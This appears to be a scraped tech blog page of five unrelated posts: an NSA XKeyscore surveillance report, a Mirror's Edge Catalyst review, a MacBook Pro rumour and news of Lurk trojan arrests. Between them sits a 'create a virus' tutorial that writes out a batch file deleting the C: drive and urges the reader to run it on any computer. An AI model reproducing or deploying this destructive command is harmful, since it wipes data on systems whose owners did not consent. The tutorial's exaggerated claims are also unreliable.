The NSA will spy on you for reading this article

The NSA will spy on you for reading this article

tricks and tips Unknown   04:50:00

Are you looking for ways to protect your privacy while browsing the web? Are you trying to learn how to use Tor, the browser that anonymize your Internet traffic? Are you interested in ditching Windows for something that’s more privacy-friendly? The good news is that there are ways to do that. The bad news is that this sort of online behavior apparently triggers NSA spying, especially if you’re a foreigner.

A report from German site Tagesshau reveals that the NSA has a computer system dedicated to accessing Tor called XKeyscore. The NSA apparently digs for “deep-packet inspection” Internet users located outside of U.S., Canada, the U.K. and other countries that comprise the Five Eyes countries that work with the NSA on surveillance programs.

Hating Windows is apparently another infraction that will get you on the short list, especially if you’re looking to install the Tails operating system, which is generally used by people looking to guard their privacy.

Reporting on Tagesshau’s findings, Boing Boing speculates that the NSA and its partners might be using these simple mass surveillance spying practices to divide Internet users into two principal categories: Those who don’t care about guarding their privacy online, and those who use services like Tor, Tails and others.

It appears that even looking for information about Tor and Tails – and potentially reading this post – will get you fingerprinted.

The NSA’s intention here was to separate the sheep from the goats – to split the entire population of the Internet into ‘people who have the technical know-how to be private’ and ‘people who don’t’ and then capture all the communications from the first group,” the site continues. 

It’s believed that details about this NSA operation may come from a second source other than Snowden, although it’s not clear who that person is. 

Even though it might sound scary to the regular user looking for online data protection, the NSA’s thinking isn’t illogical. It makes perfect sense to want to know who’s looking to hide their online activity behind things like Tor and Tails because some of the people who do it are indeed up to no good. They’re not reporters looking to protect their sources, and they’re not living in oppressed countries. Some of them are the bad guys the NSA is trying to catch, and bad guys will almost certainly want to protect all online activity with the help of these encrypted technologies.

The investigation discloses the following:

• Two servers in Germany - in Berlin and Nuremberg - are under surveillance by the NSA. 
• Merely searching the web for the privacy-enhancing software tools outlined in the XKeyscore rules causes the NSA to mark and track the IP address of the person doing the search. Not only are German privacy software users tracked, but the source code shows that privacy software users worldwide are tracked by the NSA. 
• Among the NSA's targets is the Tor network funded primarily by the US government to aid democracy advocates in authoritarian states. 
• The XKeyscore rules reveal that the NSA tracks all connections to a server that hosts part of an anonymous email service at the MIT Computer Science and Artificial Intelligence Laboratory (CSAIL) in Cambridge, Massachusetts. It also records details about visits to a popular internet journal for Linux operating system users called "the Linux Journal - the Original Magazine of the Linux Community", and calls it 
  an "extremist forum".

sorces:
bgr.com, Das Erste, Boing Boing, Google

Mirrors Edge Catalyst-Game Review

Mirrors Edge Catalyst-Game Review

review Unknown   10:11:00

Our Rating : 6.9/10

PROS 

* Traversal is fun.

* AI forces you to vary combat.

* Story picks up after initial stumble.

CONS

* The city of Glass is lifeless. 

* Inconsistent visuals.

* Annoying characters

Mirror's Edge Catalyst a reboot of Mirrors Edge.The game is set in a pristine city, ruled by a ruthless Conglomerate. Faith, a skilled Runner reluctantly drawn into an anti-Conglomerate struggle.The anti-Conglomeratestruggle is lead by a group called the “Black November”.Through her journey, Faith explores every corner of the city, from the highest, most pristine skyscrapers, to the dark and dingy tunnels that underlie the city. Players must master the environment, using their momentum and timing their combat to fight the oppressiveness of the ruling elite, uncovering the dark secrets behind the city’s beautiful facade.

Mirror's Edge Catalyst's pace picks up quite well after stumbling at the opening. There's a prolonged cut-scene and some annoying banter along with some necessary tutorialisation that teaches you the basics. These include learning how to kick guards into railings, run across many a gap, and simply come to terms with the game world. Some of these early segments aren't clearly explained and you will probably fail them a couple of times before you realise what's needed of you, such as an early mission wherein you have to maintain your momentum while running and hitting foes in your way to a location to drop off a delivery.

But once that's over, things pick up quite a bit. The story barely drops a beat and there's always something going on. What's more is that you'll end up exploring most areas of Glass by the time you're done, which allays our early thoughts that runner vision - the game's navigation feature - would lead you on the straight and narrow, with little else. There's a steady stream of unlockable skills as you take on story missions such as being able to turn quickly (or quickturn as its called) or swing between gigantic chasms. Not only does it provide incentive to complete the game's narrative-based levels, but it also introduces you to several nuances as you play along.

The game has a basic combat system.You can dodge incoming strikes, move backwards to avoid getting hit, and use heavy and light attacks to even the odds. Furthermore, you can use your own momentum as well, what with the force of springboarding off a ledge to hit a security guard allowing you to do more damage. Despite a somewhat minimal set of options, it's interesting how varied combat can get thanks to AI that's responsive to every move. If you keep mashing the same buttons, you'll soon realise that your attacks are blocked or countered, and that you'll be greeted by a game over screen. If you want to get past most of Mirror's Edge: Catalyst's encounters, varying your approach is most helpful.

In my opinion the city of Glass itself is the biggest let down in the game. Of course it would be unfair to expect anything along the lines of The Witcher 3 or Grand Theft Auto V in terms of atmosphere, but it doesn't even come close to the multiple entries in the Assassin's Creed or Far Cry franchises. You'll sabotage surveillance, steal computer chips, and collect glowing orbs of intel known as gridleaks, but it feels devoid of life. This ensures the most fun you'll have is in the story missions rather than exploring Glass and the secrets it holds.

Mirror's Edge Catalyst isn't a perfect return of the 2008 cult classic as many expected.But, if you're just looking for a free-running romp through a city ruled by shady corporations backed up by slick controls and navigation, you wont be disappointed. 

Create an awesome computer virus in seconds( C-Drive TERMINATOR)!!!

Create an awesome computer virus in seconds( C-Drive TERMINATOR)!!!

windows Anand krishna A R   00:00:00

Have you ever wondered how these computer geeks and hackers make these cool programs called computer virus?

A virus is a small but insidious piece of programming-code that attacks computer and network systems through 'contaminated' (infected) data files, introduced into a system via disks or internet. 

Do you know that you can create a virus in notepad !!!

Now I am going to show you how to create a virus that terminates an entire drive form the computer.

WARNING

Do not test this on your own computer or all your system files will be deleted and the system will fail to boot.

STEPS

1. Open notepad.(go to start--->Search--->Notepad)

2.Type the following command in notepad:

@echo off

Del C:\ *.* /y

3. Save this file as 'virus.bat' in your desktop or any other place.

Your C terminator virus is armed and ready for attack.

4. Run it on any computer you like.

NOTE

• You can use any name as you want for your virus file.
• Don't forget to save in .bat format.
• The virus becomes active on double-click(Don't Run it on your computer. You will not be able to recover anything lost from the terminated drive and the OS will crash/fail to boot).

Apple MacBook Pro will feature OLED touch bar panel

Apple MacBook Pro will feature OLED touch bar panel

news Unknown   08:33:00

A week ago, one well-placed analyst said Apple would launch a MacBook Pro in late 2016 with a touch-enabled OLED panel to replace the function keys at the top of the keyboard. Now, leaked images appear to back those claims. In addition, they show that Apple may be planning to eradicate all connectors on its top-of-the-line laptop except for USB-C ports.

leaked image of new macbook pro

The images were obtained by Cult of Mac and show the aluminum chassis of a laptop. The photos are attributed to an anonymous source who claims to work for one of Apple's manufacturing partners in China. The images show a space at the top of the keyboard where an OLED panel could be placed, with KGI Securities analyst Ming-Chi Kuo saying in a research note last week that the move could be used to allow Apple to bring its Touch ID fingerprint sensor to its MacBook range.
The speakers on the current model that sit at the back of the keyboard would need to be relocated, as images of the new model show speaker grilles at the side.

The images also show just four USB ports — presumably all of which will be USB Type C — meaning Apple would be removing the MagSafe connector for charging, SD card slot, HDMI connector and Thunderbolt ports. Apple has already replaced all ports on its 12-inch MacBook with USB-C, so it wouldn't be a surprise to continue the trend on its bigger MacBook.

It is hard to tell from the images the size and weight of the 2016 version of the MacBook Pro, but Kuo has said the new design would be thinner or lighter than the current model, thanks to a new technique to create metal injection molded hinges.

Kuo says Apple isn't planning to announce its new MacBooks at its annual developer conference in a couple of weeks as many expected, but will launch them in the final quarter of 2016.

Fifty Russian Hackers Arrested for Stealing $25.5M

Fifty Russian Hackers Arrested for Stealing $25.5M

news Anand krishna A R   10:04:00

Russia has arrested 50 people accused of using malware to steal more than 1.7bn roubles ($25m; £18m).The gang allegedly seeded websites with malware that gave them access to victims' PCs and, from there, their bank accounts.

Technical tricks used by the hackers made it hard for security software to spot the malicious code once it had compromised a machine.It is believed to be the largest ever arrest of hackers in Russia.

The Federal Security Service (FSB) — alongside Interior Ministry and National Guard troops — made arrests in 15 regions across the country.

"As a result of [house] searches a large quantity of computer equipment was confiscated along with communications gear, bank cards in false names, and also financial documents and significant amounts of cash confirming the illegal nature of their activity," the FSB said.

The gang is believed to have stolen cash using a malicious trojan called Lurk that it hid on some of Russia's most popular websites.

Anyone visiting a website booby-trapped with Lurk would be infected with the malware. Once on a victim's PC, the malware then downloaded more software modules, giving the cyber thieves remote access to the machine.


This was used to steal login names and passwords for online bank accounts. In particular, they targeted accounts held at Sberbank - one of Russia's largest banks.

"Lurk started attacking banks one-and-a-half years ago; before then its malicious program targeted various enterprise and consumer systems," said Ruslan Stoyanov, head of computer incident investigation at Kaspersky Lab that helped uncover the gang's activities.

Mr Stoyanov said Kaspersky helped police profile the gang's network of computers and servers used to grab cash, and from that information they were able to trace the individuals involved.

The arrests helped to thwart pending money transfers that would have netted the group a further 2.3bn roubles, the FSB said.